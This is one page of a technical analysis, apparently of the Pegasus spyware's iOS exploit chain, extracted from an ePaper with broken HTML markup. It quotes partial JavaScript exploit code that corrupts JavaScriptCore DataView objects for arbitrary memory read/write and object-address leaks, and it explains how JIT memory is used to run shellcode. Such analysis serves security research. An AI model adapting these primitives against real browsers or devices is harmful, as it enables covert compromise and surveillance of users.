You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
var DATAVIEW_ARRAYBUFFER_OFFSET = 0x10;<br />
var DATAVIEW_BYTELENGTH_OFFSET = DATAVIEW_ARRAYBUFFER_OFFSET + 4;<br />
var DATAVIEW_MODE_OFFSET = DATAVIEW_BYTELENGTH_OFFSET + 4;<br />
var FAST_TYPED_ARRAY_MODE = 0;<br />
dataview_init_rw.setUint32(DATAVIEW_ARRAYBUFFER_OFFSET, 0, true);<br />
…<br />
dataview_init_rw.setUint32(DATAVIEW_BYTELENGTH_OFFSET, 0xFFFFFFFF, true);<br />
…<br />
dataview_init_rw.setUint8(DATAVIEW_MODE_OFFSET, FAST_TYPED_ARRAY_MODE, true);<br />
Three <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets into <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_rw DataView are written. First, <str<strong>on</strong>g>the</str<strong>on</strong>g> pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> backing vector<br />
is pointed to <str<strong>on</strong>g>the</str<strong>on</strong>g> zero address. Then <str<strong>on</strong>g>the</str<strong>on</strong>g> length <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> DataView is set to 0xFFFFFFFF,<br />
effectively setting <str<strong>on</strong>g>the</str<strong>on</strong>g> DataView to map all <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> virtual memory <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> process. Last, <str<strong>on</strong>g>the</str<strong>on</strong>g> mode<br />
is set to a simple type (i.e., FastTypedArray), allowing trivial calculati<strong>on</strong>s <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>of</str<strong>on</strong>g>fset into a<br />
DataView given a virtual address. The dataview_rw DataView now provides an arbitrary<br />
read/write primitive via <str<strong>on</strong>g>the</str<strong>on</strong>g> getType and setType methods it exposes.<br />
Leaking an object address<br />
The last primitive needed is <str<strong>on</strong>g>the</str<strong>on</strong>g> ability to leak <str<strong>on</strong>g>the</str<strong>on</strong>g> virtual memory address <str<strong>on</strong>g>of</str<strong>on</strong>g> an arbitrary<br />
JavaScript object. The primitive is achieved using <str<strong>on</strong>g>the</str<strong>on</strong>g> same issue exploited above to leak <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
address <str<strong>on</strong>g>of</str<strong>on</strong>g> a single object instead <str<strong>on</strong>g>of</str<strong>on</strong>g> exposing <str<strong>on</strong>g>the</str<strong>on</strong>g> entire memory space.<br />
var dummy_ab = new ArrayBuffer(0x20);<br />
...<br />
var dataview_leak_addr = new DataView(dummy_ab);<br />
var dataview_dv_leak = new DataView(dummy_ab);<br />
setImpureGetterDelegate(dataview_dv_leak, dataview_leak_addr);<br />
...<br />
setImpureGetterDelegate(dataview_leak_addr, object_to_leak);<br />
leaked_addr = dataview_dv_leak.getUint32(DATAVIEW_ARRAYBUFFER_OFFSET, true);<br />
Again, two DataViews are created using a dummy ArrayBuffer as <str<strong>on</strong>g>the</str<strong>on</strong>g> backing vector for both.<br />
Next, <str<strong>on</strong>g>the</str<strong>on</strong>g> issue is exploited to corrupt <str<strong>on</strong>g>the</str<strong>on</strong>g> m_vector member <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_dv_leak object with<br />
a pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_leak_addr object. To leak <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> an arbitrary JavaScript<br />
object, <str<strong>on</strong>g>the</str<strong>on</strong>g> issue is triggered a sec<strong>on</strong>d time. This time, <str<strong>on</strong>g>the</str<strong>on</strong>g> m_vector <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_leak_addr<br />
DataView is corrupted with <str<strong>on</strong>g>the</str<strong>on</strong>g> address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> object that is being leaked. Finally, <str<strong>on</strong>g>the</str<strong>on</strong>g> dword<br />
residing at <str<strong>on</strong>g>the</str<strong>on</strong>g> 16th byte <str<strong>on</strong>g>of</str<strong>on</strong>g>fset into <str<strong>on</strong>g>the</str<strong>on</strong>g> dataview_dv_leak DataView can be read to obtain <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> target object.<br />
Unsigned native code executi<strong>on</strong><br />
<str<strong>on</strong>g>Pegasus</str<strong>on</strong>g> uses <str<strong>on</strong>g>the</str<strong>on</strong>g> same mechanism to gain code executi<strong>on</strong> in this exploit as used in <str<strong>on</strong>g>the</str<strong>on</strong>g> stage 1<br />
Safari exploit. The exploit creates an executable mapping that will c<strong>on</strong>tain <str<strong>on</strong>g>the</str<strong>on</strong>g> shellcode to be<br />
executed. To accomplish this purpose, a JSFuncti<strong>on</strong> object is created (c<strong>on</strong>taining hundreds <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
empty try/catch blocks that will later be overwritten). To help ensure that <str<strong>on</strong>g>the</str<strong>on</strong>g> JavaScript will be<br />
compiled into native code by <str<strong>on</strong>g>the</str<strong>on</strong>g> JIT, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> is subsequently called repeatedly. Given <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
nature <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> JavaScriptCore library, this JIT-compiled native code will reside in an area <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
memory that is mapped as read/write/execute.<br />
Page 41